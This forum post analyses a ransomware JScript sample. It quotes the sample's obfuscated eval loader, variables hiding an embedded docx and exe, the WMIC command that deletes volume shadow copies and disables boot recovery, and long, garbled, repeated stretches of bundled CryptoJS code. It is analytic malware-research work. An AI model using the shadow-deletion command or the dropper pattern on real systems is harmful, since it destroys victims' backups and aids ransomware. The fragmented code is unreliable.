- May 14, 2016
- 1,597
From Malware Vault sample pack : 26-8-16 #7
(Thanks to @Solarquest)
Sample 7 :
Копия.js
2 / 56 (when I posted this part)
Antivirus scan for 78e67b7118e99316922df6bc9b34c375ce0ce50b024f0cdecc3de68db8099d66 at 2016-08-31 16:37:42 UTC - VirusTotal
Why this sample? It seems to be a a js Script and ransomware, all in one
(it contains inside all the files needed)
On virus total, we can see the processes (spoiler) :
Analysed 11 processes in total (System Resource Monitor).
1) What it looks like :
2) Looking better each lines :
Removing all useless parts :
var _0xf7f9 = [ a lot of \xValues ]; (when I say a lot of : all the real script part (that contains a doc file etc)
eval(
function(_0x6b18x1, _0x6b18x2, _0x6b18x3, _0x6b18x4, _0x6b18x5, _0x6b18x6) {
);
);
The function in the eval() builds all the real part, and eval ... run the bad parts ...
MUST SEE, but a lot of lines
Take a look at some var/function names
Some well none parts / easy to understand :
yeacb7 += "/v1pCkAAAAAAAAAAA..........
var y8d17e = yeacb7;
y8d17e += "Y87iR74BT..............
var yfcd0f = "UEsDBBQABgA
var y59526 = ="TVqQAAMAAAAEA.............."
(files hidden in above vars)
eval(yd5e19); => evaluate the code in yd5e19
It creates :
%TEMP%\\doc_b5c7d9.docx"
%TEMP%\\df986316b86.exe"
these files are encoded inside the Script
The doc file is open in WINWORD.EXE with parameter /n
Starts a new instance of Word with no document open. Documents opened in each instance of Word will not appear as choices in the Window menu of other instances.
WMIC.exe process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"
=> UAC warning if well activated
This script contains its own functions to make advanced stuff (encrypting, decripting, AES, openSSL, etc) and all files to init the infection.
But it only uses the AES decrypting part to be able to use one of the hidden part in the script itself.
To get the docx and .exe files without any risk :
=> we only have to :
ADOBSream => will save the files with good content
That's all for the moment
Next part will follow, with more info, if some people are interested
(I can explain more things about the code / files)
Edited :
https://malwaretips.com/threads/deo...js-ransom-ba-tr-all-in-one.62797/#post-537853
(Thanks to @Solarquest)
Sample 7 :
Копия.js
2 / 56 (when I posted this part)
Antivirus scan for 78e67b7118e99316922df6bc9b34c375ce0ce50b024f0cdecc3de68db8099d66 at 2016-08-31 16:37:42 UTC - VirusTotal
Why this sample? It seems to be a a js Script and ransomware, all in one
(it contains inside all the files needed)
On virus total, we can see the processes (spoiler) :
1) What it looks like :
/// 0745a4b767c07c1155c3f4c438150653
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...
...
/////// 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...
...
2) Looking better each lines :
Removing all useless parts :
var _0xf7f9 = [ a lot of \xValues ]; (when I say a lot of : all the real script part (that contains a doc file etc)
eval(
function(_0x6b18x1, _0x6b18x2, _0x6b18x3, _0x6b18x4, _0x6b18x5, _0x6b18x6) {
_0x6b18x5 = function(_0x6b18x3) {
return (_0x6b18x3 < _0x6b18x2 ? _0xf7f9[4] : _0x6b18x5(parseInt(_0x6b18x3 / _0x6b18x2))) + (35 < (_0x6b18x3 %= _0x6b18x2) ? String[_0xf7f9[5]](_0x6b18x3 + 29) : _0x6b18x3.toString(36))
};
if (!_0xf7f9[4][_0xf7f9[6]](/^/, String)) {
_0x6b18x3 = 1
};
for (; _0x6b18x3--
{
_0x6b18x4[_0x6b18x3] && (_0x6b18x1 = _0x6b18x1[_0xf7f9[6]](new RegExp(_0xf7f9[8] + _0x6b18x5(_0x6b18x3) + _0xf7f9[8], _0xf7f9[9]), _0x6b18x4[_0x6b18x3]))
};return (_0x6b18x3 < _0x6b18x2 ? _0xf7f9[4] : _0x6b18x5(parseInt(_0x6b18x3 / _0x6b18x2))) + (35 < (_0x6b18x3 %= _0x6b18x2) ? String[_0xf7f9[5]](_0x6b18x3 + 29) : _0x6b18x3.toString(36))
};
if (!_0xf7f9[4][_0xf7f9[6]](/^/, String)) {
for (; _0x6b18x3--
{
_0x6b18x6[_0x6b18x5(_0x6b18x3)] = _0x6b18x4[_0x6b18x3] || _0x6b18x5(_0x6b18x3)
};
_0x6b18x4 = [function(_0x6b18x3) {_0x6b18x6[_0x6b18x5(_0x6b18x3)] = _0x6b18x4[_0x6b18x3] || _0x6b18x5(_0x6b18x3)
};
return _0x6b18x6[_0x6b18x3]
}];
_0x6b18x5 = function() {}];
return _0xf7f9[7]
};_0x6b18x3 = 1
};
for (; _0x6b18x3--
_0x6b18x4[_0x6b18x3] && (_0x6b18x1 = _0x6b18x1[_0xf7f9[6]](new RegExp(_0xf7f9[8] + _0x6b18x5(_0x6b18x3) + _0xf7f9[8], _0xf7f9[9]), _0x6b18x4[_0x6b18x3]))
return _0x6b18x1
}(_0xf7f9[0], 62, 8403, _0xf7f9[3][_0xf7f9[2]](_0xf7f9[1]), 0, {}));
);
The function in the eval() builds all the real part, and eval ... run the bad parts ...
MUST SEE, but a lot of lines
var y59526 = .........
var yeacb7 = y59526;
yeacb7 += "/v1pCkAAAAAAAAAAA..........
var y8d17e = yeacb7;
y8d17e += "Y87iR74BT..............
var yfcd0f = "UEsDBBQABgA
var y59526 = ="TVqQAAMAAAAEA.............."
(files hidden in above vars)
var CryptoJS = CryptoJS || function(e, l) {
})();
(function(e) {
(function() {
init: function(c) {
compute: function(c, e) {
}; c.BlockCipher = v.extend({
reset: function() {
_doProcessBlock: function(a, b) {
_doFinalize: function() {
blockSize: 4
});
var z = c.CipherParams = p.extend({
toString: function(a) {
}), b = (l.format = {}).OpenSSL = {
stringify: function(a) {
parse: function(a) {
return z.create({
}
}, a = c.SerializableCipher = p.extend({
cfg: p.extend({
format: b
}),
encrypt: function(a, b, c, d) {
decrypt: function(a, b, c, d) {
_parse: function(a, b) {
}), l = (l.kdf = {}).OpenSSL = {
encrypt: function(b, c, d, e) {
decrypt: function(b, c, d, e) {
})
}();
(function() {
var K = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54],
c = c.AES = l.extend({
for (d = 0; dd || 4 >= e ? l : b[p[l >>> 24]] ^ y[p[l >>> 16 & 255]] ^ r[p[l >>> 8 & 255]] ^ z[p[l & 255]]
}, encryptBlock: function(a, b) {
var y22b7a = "exe",
function B90E6F7(e, l, c) {
var y07d1e = 6,
function QF2A(e) {
QF2A();
function Q32A(e) {
Q32A();
var qf7c4b2 = 60, bcd014079 = 64; ff168a3b06ec5 = "Q174BA67691";
function BA67691(e, l, c) {
function Q516(e) {
Q516();
var ya2c48 = "TE",
function QB50(e, l, c) {
var ybb42b = CreateObject,
function QCFF(e, l, c) {
var q7f1f66 = 75,
function B4C0B9C(e, l, c) {
var yd5e19 = y34a34.toString(CryptoJS.enc.Utf8), y5ff2e = yd381b;
function CreateObject(e) {
var y0afb1 = "WScript.Shell",
function Q35C(e, l, c) {
var yb61db = new y6c7db(y454b7),
function Q56D(e, l, c) {
y81f64 = y95fd5.nodeTypedValue;
function Q75C(e, l, c) {
y95fd5.dataType = y231d9; y95fd5.text = yfcd0f;
function QD88(e) {
QD88(); y004e7 = y95fd5.nodeTypedValue; eval(yd5e19);
var yeacb7 = y59526;
yeacb7 += "/v1pCkAAAAAAAAAAA..........
var y8d17e = yeacb7;
y8d17e += "Y87iR74BT..............
var yfcd0f = "UEsDBBQABgA
var y59526 = ="TVqQAAMAAAAEA.............."
(files hidden in above vars)
var CryptoJS = CryptoJS || function(e, l) {
var c = {},
b = x.Latin1 = {
parse: function(a) {
}, y = x.Utf8 = {p = c.lib = {},
u = function() {},
w = p.Base = {
t = p.WordArray = w.extend({
},u = function() {},
w = p.Base = {
extend: function(a) {
create: function() {
init: function() {},
mixIn: function(a) {
clone: function() {
},u.prototype = this;
var d = new u;
a && d.mixIn(a);
d.hasOwnProperty("init") || (d.init = function() {
d.init.prototype = d;
d.$super = this;
return d
},var d = new u;
a && d.mixIn(a);
d.hasOwnProperty("init") || (d.init = function() {
d.$super.init.apply(this, arguments)
});d.init.prototype = d;
d.$super = this;
return d
create: function() {
var a = this.extend();
a.init.apply(a, arguments);
return a
},a.init.apply(a, arguments);
return a
init: function() {},
mixIn: function(a) {
for (var d in a) a.hasOwnProperty(d) && (this[d] = a[d]);
a.hasOwnProperty("toString") && (this.toString = a.toString)
},a.hasOwnProperty("toString") && (this.toString = a.toString)
clone: function() {
return this.init.prototype.extend(this)
}t = p.WordArray = w.extend({
init: function(a, d) {
toString: function(a) {
concat: function(a) {
clamp: function() {
clone: function() {
random: function(a) {
return f.join("")
}, parse: function(a) {a = this.words = a || [];
this.sigBytes = d != l ? d : 4 * a.length
},this.sigBytes = d != l ? d : 4 * a.length
toString: function(a) {
return (a || v).stringify(this)
},concat: function(a) {
var d = this.words,
f = a.words,
n = this.sigBytes;
a = a.sigBytes;
this.clamp();
if (n % 4)
else d.push.apply(d, f);
this.sigBytes += a;
return this
},f = a.words,
n = this.sigBytes;
a = a.sigBytes;
this.clamp();
if (n % 4)
for (var q = 0; q >> 2] |= (f[q >>> 2] >>> 24 - q % 4 * 8 & 255) << 24 - (n + q) % 4 * 8;
else if (65535 >> 2] = f[q >>> 2];else d.push.apply(d, f);
this.sigBytes += a;
return this
clamp: function() {
var a = this.words,
d = this.sigBytes;
a[d >>> 2] &= 4294967295 << 32 - d % 4 * 8;
a.length = e.ceil(d / 4)
},d = this.sigBytes;
a[d >>> 2] &= 4294967295 << 32 - d % 4 * 8;
a.length = e.ceil(d / 4)
clone: function() {
var a = w.clone.call(this);
a.words = this.words.slice(0);
return a
},a.words = this.words.slice(0);
return a
random: function(a) {
for (var d = [], f = 0; f >> 2] >>> 24 - n % 4 * 8 & 255;
f.push((q >>> 4).toString(16));
f.push((q & 15).toString(16))
}f.push((q >>> 4).toString(16));
f.push((q & 15).toString(16))
return f.join("")
for (var d = a.length, f = [], n = 0; n >> 3] |= parseInt(a.substr(n, 2), 16) << 24 - n % 8 * 4;
return new t.init(f, d / 2)
}return new t.init(f, d / 2)
b = x.Latin1 = {
stringify: function(a) {
var d = a.words;
a = a.sigBytes;
for (var f = [], n = 0; n >> 2] >>> 24 - n % 4 * 8 & 255));
return f.join("")
},var d = a.words;
a = a.sigBytes;
for (var f = [], n = 0; n >> 2] >>> 24 - n % 4 * 8 & 255));
return f.join("")
parse: function(a) {
for (var d = a.length, f = [], n = 0; n >> 2] |= (a.charCodeAt
& 255) << 24 - n % 4 * 8;
return new t.init(f, d)
}return new t.init(f, d)
stringify: function(a) {
parse: function(a) {
}, r = p.BufferedBlockAlgorithm = w.extend({try {
},return decodeURIComponent(escape(b.stringify(a)))
} catch (d) {throw Error("Malformed UTF-8 data")
}parse: function(a) {
return b.parse(unescape(encodeURIComponent(a)))
}reset: function() {
_append: function(a) {
_process: function(a) {
}this._data = new t.init;
this._nDataBytes = 0
},this._nDataBytes = 0
_append: function(a) {
"string" == typeof a && (a = y.parse(a));
this._data.concat(a);
this._nDataBytes += a.sigBytes
},this._data.concat(a);
this._nDataBytes += a.sigBytes
_process: function(a) {
var d = this._data,
f = d.words,
n = d.sigBytes,
q = this.blockSize,
b = n / (4 * q),
b = a ? e.ceil(b) : e.max((b | 0) - this._minBufferSize, 0);
a = b * q;
n = e.min(4 * a, n);
if (a) {
for (var r = 0; r >> 2] >>> 24 - t % 4 * 8 & 255) << 16 | (p[t + 1 >>> 2] >>> 24 - (t + 1) % 4 * 8 & 255) << 8 | p[t + 2 >>> 2] >>> 24 - (t + 2) % 4 * 8 & 255, v = 0;
4 > v && t + .75 * v >> 6 * (3 - v) & 63));
if (p = e.charAt(64))
}, parse: function(c) {f = d.words,
n = d.sigBytes,
q = this.blockSize,
b = n / (4 * q),
b = a ? e.ceil(b) : e.max((b | 0) - this._minBufferSize, 0);
a = b * q;
n = e.min(4 * a, n);
if (a) {
for (var r = 0; r >> 2] >>> 24 - t % 4 * 8 & 255) << 16 | (p[t + 1 >>> 2] >>> 24 - (t + 1) % 4 * 8 & 255) << 8 | p[t + 2 >>> 2] >>> 24 - (t + 2) % 4 * 8 & 255, v = 0;
4 > v && t + .75 * v >> 6 * (3 - v) & 63));
if (p = e.charAt(64))
for (; c.length % 4
c.push(p);
return c.join("")
return c.join("")
var p = c.length,
e = this._map,
w = e.charAt(64);
w && (w = c.indexOf(w), -1 != w && (p = w));
return l.create(w, t)
}, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="e = this._map,
w = e.charAt(64);
w && (w = c.indexOf(w), -1 != w && (p = w));
for (var w = [], t = 0, x = 0; x >> 6 - x % 4 * 2; w[t >>> 2] |= (v | b) << 24 - t % 4 * 8; t++
}return l.create(w, t)
})();
(function(e) {
function l(b, c, a, d, f, n, q) {
function c(b, c, a, d, f, n, q) {
b = b + (c & a | ~c & d) + f + q;
return (b < >> 32 - n) + c
}return (b < >> 32 - n) + c
function c(b, c, a, d, f, n, q) {
b = b + (c & d | a & ~d) + f + q;
return (b < >> 32 - n) + c
}return (b < >> 32 - n) + c
function p(b, c, a, d, f, n, q) {
function u(b, c, a, d, f, n, q) {
for (var w = CryptoJS, t = w.lib, x = t.WordArray, v = t.Hasher, t = w.algo, b = [], y = 0; 64 > y; y++) b[y] = 4294967296 * e.abs(e.sin(y + 1)) | 0;
t = t.MD5 = v.extend({
for (var a = 0; 16 > a; a++) {
var a = this._hash.words,
_doFinalize: function() {
clone: function() {
});b = b + (c ^ a ^ d) + f + q;
return (b < >> 32 - n) + c
}return (b < >> 32 - n) + c
function u(b, c, a, d, f, n, q) {
b = b + (a ^ (c | ~d)) + f + q;
return (b < >> 32 - n) + c
}return (b < >> 32 - n) + c
for (var w = CryptoJS, t = w.lib, x = t.WordArray, v = t.Hasher, t = w.algo, b = [], y = 0; 64 > y; y++) b[y] = 4294967296 * e.abs(e.sin(y + 1)) | 0;
t = t.MD5 = v.extend({
_doReset: function() {
_doProcessBlock: function(r, e) {this._hash = new x.init([1732584193, 4023233417, 2562383102, 271733878])
},for (var a = 0; 16 > a; a++) {
var d = e + a,
f = r[d];
r[d] = (f << 8 | f >>> 24) & 16711935 | (f << 24 | f >>> 8) & 4278255360
}f = r[d];
r[d] = (f << 8 | f >>> 24) & 16711935 | (f << 24 | f >>> 8) & 4278255360
var a = this._hash.words,
d = r[e + 0],
f = r[e + 1],
n = r[e + 2],
q = r[e + 3],
B = r[e + 4],
t = r[e + 5],
w = r[e + 6],
x = r[e + 7],
v = r[e + 8],
C = r[e + 9],
D = r[e + 10],
E = r[e + 11],
F = r[e + 12],
G = r[e + 13],
H = r[e + 14],
y = r[e + 15],
g = a[0],
m = a[1],
h = a[2],
k = a[3],
g = l(g, m, h, k, d, 7, b[0]),
k = l(k, g, m, h, f, 12, b[1]),
h = l(h, k, g, m, n, 17, b[2]),
m = l(m, h, k, g, q, 22, b[3]),
g = l(g, m, h, k, B, 7, b[4]),
k = l(k, g, m, h, t, 12, b[5]),
h = l(h, k, g, m, w, 17, b[6]),
m = l(m, h, k, g, x, 22, b[7]),
g = l(g, m, h, k, v, 7, b[8]),
k = l(k, g, m, h, C, 12, b[9]),
h = l(h, k, g, m, D, 17, b[10]),
m = l(m, h, k, g, E, 22, b[11]),
g = l(g, m, h, k, F, 7, b[12]),
k = l(k, g, m, h, G, 12, b[13]),
h = l(h, k, g, m, H, 17, b[14]),
m = l(m, h, k, g, y, 22, b[15]),
g = c(g, m, h, k, f, 5, b[16]),
k = c(k, g, m, h, w, 9, b[17]),
h = c(h, k, g, m, E, 14, b[18]),
m = c(m, h, k, g, d, 20, b[19]),
g = c(g, m, h, k, t, 5, b[20]),
k = c(k, g, m, h, D, 9, b[21]),
h = c(h, k, g, m, y, 14, b[22]),
m = c(m, h, k, g, B, 20, b[23]),
g = c(g, m, h, k, C, 5, b[24]),
k = c(k, g, m, h, H, 9, b[25]),
h = c(h, k, g, m, q, 14, b[26]),
m = c(m, h, k, g, v, 20, b[27]),
g = c(g, m, h, k, G, 5, b[28]),
k = c(k, g, m, h, n, 9, b[29]),
h = c(h, k, g, m, x, 14, b[30]),
m = c(m, h, k, g, F, 20, b[31]),
g = p(g, m, h, k, t, 4, b[32]),
k = p(k, g, m, h, v, 11, b[33]),
h = p(h, k, g, m, E, 16, b[34]),
m = p(m, h, k, g, H, 23, b[35]),
g = p(g, m, h, k, f, 4, b[36]),
k = p(k, g, m, h, B, 11, b[37]),
h = p(h, k, g, m, x, 16, b[38]),
m = p(m, h, k, g, D, 23, b[39]),
g = p(g, m, h, k, G, 4, b[40]),
k = p(k, g, m, h, d, 11, b[41]),
h = p(h, k, g, m, q, 16, b[42]),
m = p(m, h, k, g, w, 23, b[43]),
g = p(g, m, h, k, C, 4, b[44]),
k = p(k, g, m, h, F, 11, b[45]),
h = p(h, k, g, m, y, 16, b[46]),
m = p(m, h, k, g, n, 23, b[47]),
g = u(g, m, h, k, d, 6, b[48]),
k = u(k, g, m, h, x, 10, b[49]),
h = u(h, k, g, m, H, 15, b[50]),
m = u(m, h, k, g, t, 21, b[51]),
g = u(g, m, h, k, F, 6, b[52]),
k = u(k, g, m, h, q, 10, b[53]),
h = u(h, k, g, m, D, 15, b[54]),
m = u(m, h, k, g, f, 21, b[55]),
g = u(g, m, h, k, v, 6, b[56]),
k = u(k, g, m, h, y, 10, b[57]),
h = u(h, k, g, m, w, 15, b[58]),
m = u(m, h, k, g, G, 21, b[59]),
g = u(g, m, h, k, B, 6, b[60]),
k = u(k, g, m, h, E, 10, b[61]),
h = u(h, k, g, m, n, 15, b[62]),
m = u(m, h, k, g, C, 21, b[63]);
a[0] = a[0] + g | 0;
a[1] = a[1] + m | 0;
a[2] = a[2] + h | 0;
a[3] = a[3] + k | 0
},f = r[e + 1],
n = r[e + 2],
q = r[e + 3],
B = r[e + 4],
t = r[e + 5],
w = r[e + 6],
x = r[e + 7],
v = r[e + 8],
C = r[e + 9],
D = r[e + 10],
E = r[e + 11],
F = r[e + 12],
G = r[e + 13],
H = r[e + 14],
y = r[e + 15],
g = a[0],
m = a[1],
h = a[2],
k = a[3],
g = l(g, m, h, k, d, 7, b[0]),
k = l(k, g, m, h, f, 12, b[1]),
h = l(h, k, g, m, n, 17, b[2]),
m = l(m, h, k, g, q, 22, b[3]),
g = l(g, m, h, k, B, 7, b[4]),
k = l(k, g, m, h, t, 12, b[5]),
h = l(h, k, g, m, w, 17, b[6]),
m = l(m, h, k, g, x, 22, b[7]),
g = l(g, m, h, k, v, 7, b[8]),
k = l(k, g, m, h, C, 12, b[9]),
h = l(h, k, g, m, D, 17, b[10]),
m = l(m, h, k, g, E, 22, b[11]),
g = l(g, m, h, k, F, 7, b[12]),
k = l(k, g, m, h, G, 12, b[13]),
h = l(h, k, g, m, H, 17, b[14]),
m = l(m, h, k, g, y, 22, b[15]),
g = c(g, m, h, k, f, 5, b[16]),
k = c(k, g, m, h, w, 9, b[17]),
h = c(h, k, g, m, E, 14, b[18]),
m = c(m, h, k, g, d, 20, b[19]),
g = c(g, m, h, k, t, 5, b[20]),
k = c(k, g, m, h, D, 9, b[21]),
h = c(h, k, g, m, y, 14, b[22]),
m = c(m, h, k, g, B, 20, b[23]),
g = c(g, m, h, k, C, 5, b[24]),
k = c(k, g, m, h, H, 9, b[25]),
h = c(h, k, g, m, q, 14, b[26]),
m = c(m, h, k, g, v, 20, b[27]),
g = c(g, m, h, k, G, 5, b[28]),
k = c(k, g, m, h, n, 9, b[29]),
h = c(h, k, g, m, x, 14, b[30]),
m = c(m, h, k, g, F, 20, b[31]),
g = p(g, m, h, k, t, 4, b[32]),
k = p(k, g, m, h, v, 11, b[33]),
h = p(h, k, g, m, E, 16, b[34]),
m = p(m, h, k, g, H, 23, b[35]),
g = p(g, m, h, k, f, 4, b[36]),
k = p(k, g, m, h, B, 11, b[37]),
h = p(h, k, g, m, x, 16, b[38]),
m = p(m, h, k, g, D, 23, b[39]),
g = p(g, m, h, k, G, 4, b[40]),
k = p(k, g, m, h, d, 11, b[41]),
h = p(h, k, g, m, q, 16, b[42]),
m = p(m, h, k, g, w, 23, b[43]),
g = p(g, m, h, k, C, 4, b[44]),
k = p(k, g, m, h, F, 11, b[45]),
h = p(h, k, g, m, y, 16, b[46]),
m = p(m, h, k, g, n, 23, b[47]),
g = u(g, m, h, k, d, 6, b[48]),
k = u(k, g, m, h, x, 10, b[49]),
h = u(h, k, g, m, H, 15, b[50]),
m = u(m, h, k, g, t, 21, b[51]),
g = u(g, m, h, k, F, 6, b[52]),
k = u(k, g, m, h, q, 10, b[53]),
h = u(h, k, g, m, D, 15, b[54]),
m = u(m, h, k, g, f, 21, b[55]),
g = u(g, m, h, k, v, 6, b[56]),
k = u(k, g, m, h, y, 10, b[57]),
h = u(h, k, g, m, w, 15, b[58]),
m = u(m, h, k, g, G, 21, b[59]),
g = u(g, m, h, k, B, 6, b[60]),
k = u(k, g, m, h, E, 10, b[61]),
h = u(h, k, g, m, n, 15, b[62]),
m = u(m, h, k, g, C, 21, b[63]);
a[0] = a[0] + g | 0;
a[1] = a[1] + m | 0;
a[2] = a[2] + h | 0;
a[3] = a[3] + k | 0
_doFinalize: function() {
var b = this._data,
c = b.words,
a = 8 * this._nDataBytes,
d = 8 * b.sigBytes;
c[d >>> 5] |= 128 << 24 - d % 32;
var f = e.floor(a / 4294967296);
c[(d + 64 >>> 9 << 4) + 15] = (f << 8 | f >>> 24) & 16711935 | (f << 24 | f >>> 8) & 4278255360;
c[(d + 64 >>> 9 << 4) + 14] = (a << 8 | a >>> 24) & 16711935 | (a << 24 | a >>> 8) & 4278255360;
b.sigBytes = 4 * (c.length + 1);
this._process();
b = this._hash;
c = b.words;
for (a = 0; 4 > a; a++) d = c[a], c[a] = (d << 8 | d >>> 24) & 16711935 | (d << 24 | d >>> 8) & 4278255360;
return b
},c = b.words,
a = 8 * this._nDataBytes,
d = 8 * b.sigBytes;
c[d >>> 5] |= 128 << 24 - d % 32;
var f = e.floor(a / 4294967296);
c[(d + 64 >>> 9 << 4) + 15] = (f << 8 | f >>> 24) & 16711935 | (f << 24 | f >>> 8) & 4278255360;
c[(d + 64 >>> 9 << 4) + 14] = (a << 8 | a >>> 24) & 16711935 | (a << 24 | a >>> 8) & 4278255360;
b.sigBytes = 4 * (c.length + 1);
this._process();
b = this._hash;
c = b.words;
for (a = 0; 4 > a; a++) d = c[a], c[a] = (d << 8 | d >>> 24) & 16711935 | (d << 24 | d >>> 8) & 4278255360;
return b
clone: function() {
var b = v.clone.call(this);
b._hash = this._hash.clone();
return b
}b._hash = this._hash.clone();
return b
w.MD5 = v._createHelper(t);
w.HmacMD5 = v._createHmacHelper(t)
})(Math);w.HmacMD5 = v._createHmacHelper(t)
(function() {
var e = CryptoJS,
l = e.lib,
c = l.Base,
p = l.WordArray,
l = e.algo,
u = l.EvpKDF = c.extend({
cfg: c.extend({
keySize: 4,
hasher: l.MD5,
iterations: 1
}),l = e.lib,
c = l.Base,
p = l.WordArray,
l = e.algo,
u = l.EvpKDF = c.extend({
cfg: c.extend({
keySize: 4,
hasher: l.MD5,
iterations: 1
init: function(c) {
this.cfg = this.cfg.extend(c)
},compute: function(c, e) {
for (var l = this.cfg, v = l.hasher.create(), b = p.create(), u = b.words, r = l.keySize, l = l.iterations; u.length >> 2] & 255
}}; c.BlockCipher = v.extend({
cfg: v.cfg.extend({
mode: b,
padding: r
}),mode: b,
padding: r
reset: function() {
v.reset.call(this);
var a = this.cfg,
b = a.iv,
a = a.mode;
if (this._xformMode == this._ENC_XFORM_MODE) var c = a.createEncryptor;
else c = a.createDecryptor, this._minBufferSize = 1;
this._mode = c.call(a, this, b && b.words)
},var a = this.cfg,
b = a.iv,
a = a.mode;
if (this._xformMode == this._ENC_XFORM_MODE) var c = a.createEncryptor;
else c = a.createDecryptor, this._minBufferSize = 1;
this._mode = c.call(a, this, b && b.words)
_doProcessBlock: function(a, b) {
this._mode.processBlock(a, b)
},_doFinalize: function() {
var a = this.cfg.padding;
if (this._xformMode == this._ENC_XFORM_MODE) {
return b
},if (this._xformMode == this._ENC_XFORM_MODE) {
a.pad(this._data, this.blockSize);
var b = this._process(!0)
} else b = this._process(!0), a.unpad(b);var b = this._process(!0)
return b
blockSize: 4
});
var z = c.CipherParams = p.extend({
init: function(a) {
this.mixIn(a)
},this.mixIn(a)
toString: function(a) {
return (a || this.formatter).stringify(this)
}}), b = (l.format = {}).OpenSSL = {
stringify: function(a) {
var b = a.ciphertext;
a = a.salt;
return (a ? u.create([1398893684, 1701076831]).concat(a).concat(b) : b).toString(t)
},a = a.salt;
return (a ? u.create([1398893684, 1701076831]).concat(a).concat(b) : b).toString(t)
parse: function(a) {
a = t.parse(a);
var b = a.words;
if (1398893684 == b[0] && 1701076831 == b[1]) {
var c = u.create(b.slice(2, 4));
b.splice(0, 4);
a.sigBytes -= 16
}var b = a.words;
if (1398893684 == b[0] && 1701076831 == b[1]) {
var c = u.create(b.slice(2, 4));
b.splice(0, 4);
a.sigBytes -= 16
return z.create({
ciphertext: a,
salt: c
})salt: c
}
}, a = c.SerializableCipher = p.extend({
cfg: p.extend({
format: b
}),
encrypt: function(a, b, c, d) {
d = this.cfg.extend(d);
var e = a.createEncryptor(c, d);
b = e.finalize(b);
e = e.cfg;
return z.create({
},var e = a.createEncryptor(c, d);
b = e.finalize(b);
e = e.cfg;
return z.create({
ciphertext: b,
key: c,
iv: e.iv,
algorithm: a,
mode: e.mode,
padding: e.padding,
blockSize: a.blockSize,
formatter: d.format
})key: c,
iv: e.iv,
algorithm: a,
mode: e.mode,
padding: e.padding,
blockSize: a.blockSize,
formatter: d.format
decrypt: function(a, b, c, d) {
d = this.cfg.extend(d);
b = this._parse(b, d.format);
return a.createDecryptor(c, d).finalize(b.ciphertext)
},b = this._parse(b, d.format);
return a.createDecryptor(c, d).finalize(b.ciphertext)
_parse: function(a, b) {
return "string" == typeof a ? b.parse(a, this) : a
}}), l = (l.kdf = {}).OpenSSL = {
execute: function(a, b, c, d) {
}, d = c.PasswordBasedCipher = a.extend({d || (d = u.random(8));
a = x.create({
c = u.create(a.words.slice(b), 4 * c);
a.sigBytes = 4 * b;
return z.create({
key: a,
iv: c,
salt: d
})
}a = x.create({
keySize: b + c
}).compute(a, d);c = u.create(a.words.slice(b), 4 * c);
a.sigBytes = 4 * b;
return z.create({
key: a,
iv: c,
salt: d
})
cfg: a.cfg.extend({
kdf: l
}),kdf: l
encrypt: function(b, c, d, e) {
e = this.cfg.extend(e);
d = e.kdf.execute(d, b.keySize, b.ivSize);
e.iv = d.iv;
b = a.encrypt.call(this, b, c, d.key, e);
b.mixIn(d);
return b
},d = e.kdf.execute(d, b.keySize, b.ivSize);
e.iv = d.iv;
b = a.encrypt.call(this, b, c, d.key, e);
b.mixIn(d);
return b
decrypt: function(b, c, d, e) {
e = this.cfg.extend(e);
c = this._parse(c, e.format);
d = e.kdf.execute(d, b.keySize, b.ivSize, c.salt);
e.iv = d.iv;
return a.decrypt.call(this, b, c, d.key, e)
}c = this._parse(c, e.format);
d = e.kdf.execute(d, b.keySize, b.ivSize, c.salt);
e.iv = d.iv;
return a.decrypt.call(this, b, c, d.key, e)
})
}();
(function() {
for (var e = CryptoJS, l = e.lib.BlockCipher, c = e.algo, p = [], u = [], w = [], t = [], x = [], v = [], b = [], y = [], r = [], z = [], a = [], d = 0; 256 > d; d++) a[d] = 128 > d ? d << 1 : d << 1 ^ 283;
for (var f = 0, n = 0, d = 0; 256 > d; d++) {
var q = n ^ n << 1 ^ n << 2 ^ n << 3 ^ n << 4,
q = q >>> 8 ^ q & 255 ^ 99;
p[f] = q;
u[q] = f;
var B = a[f],
I = a,
J = a,
A = 257 * a[q] ^ 16843008 * q;
w[f] = A << 24 | A >>> 8;
t[f] = A << 16 | A >>> 16;
x[f] = A << 8 | A >>> 24;
v[f] = A;
A = 16843009 * J ^ 65537 * I ^ 257 * B ^ 16843008 * f;
b[q] = A << 24 | A >>> 8;
y[q] = A << 16 | A >>> 16;
r[q] = A << 8 | A >>> 24;
z[q] = A;
f ? (f = B ^ a[a[a[J ^ B]]], n ^= a[a[n]]) : f = n = 1
}for (var f = 0, n = 0, d = 0; 256 > d; d++) {
var q = n ^ n << 1 ^ n << 2 ^ n << 3 ^ n << 4,
q = q >>> 8 ^ q & 255 ^ 99;
p[f] = q;
u[q] = f;
var B = a[f],
I = a,
J = a,
A = 257 * a[q] ^ 16843008 * q;
w[f] = A << 24 | A >>> 8;
t[f] = A << 16 | A >>> 16;
x[f] = A << 8 | A >>> 24;
v[f] = A;
A = 16843009 * J ^ 65537 * I ^ 257 * B ^ 16843008 * f;
b[q] = A << 24 | A >>> 8;
y[q] = A << 16 | A >>> 16;
r[q] = A << 8 | A >>> 24;
z[q] = A;
f ? (f = B ^ a[a[a[J ^ B]]], n ^= a[a[n]]) : f = n = 1
var K = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54],
c = c.AES = l.extend({
_doReset: function() {
for (var a = this._key, c = a.words, d = a.sigBytes / 4, a = 4 * ((this._nRounds = d + 6) + 1), f = this._keySchedule = [], e = 0; e >> 24] << 24 | p[l >>> 16 & 255] << 16 | p[l >>> 8 & 255] << 8 | p[l & 255]): (l = l << 8 | l >>> 24, l = p[l >>> 24] << 24 | p[l >>> 16 & 255] << 16 | p[l >>> 8 & 255] << 8 | p[l & 255], l ^= K[e / d | 0] << 24);f[e] = f[e - d] ^ l
}
c = this._invKeySchedule = [];for (var a = this._key, c = a.words, d = a.sigBytes / 4, a = 4 * ((this._nRounds = d + 6) + 1), f = this._keySchedule = [], e = 0; e >> 24] << 24 | p[l >>> 16 & 255] << 16 | p[l >>> 8 & 255] << 8 | p[l & 255]): (l = l << 8 | l >>> 24, l = p[l >>> 24] << 24 | p[l >>> 16 & 255] << 16 | p[l >>> 8 & 255] << 8 | p[l & 255], l ^= K[e / d | 0] << 24);f[e] = f[e - d] ^ l
}
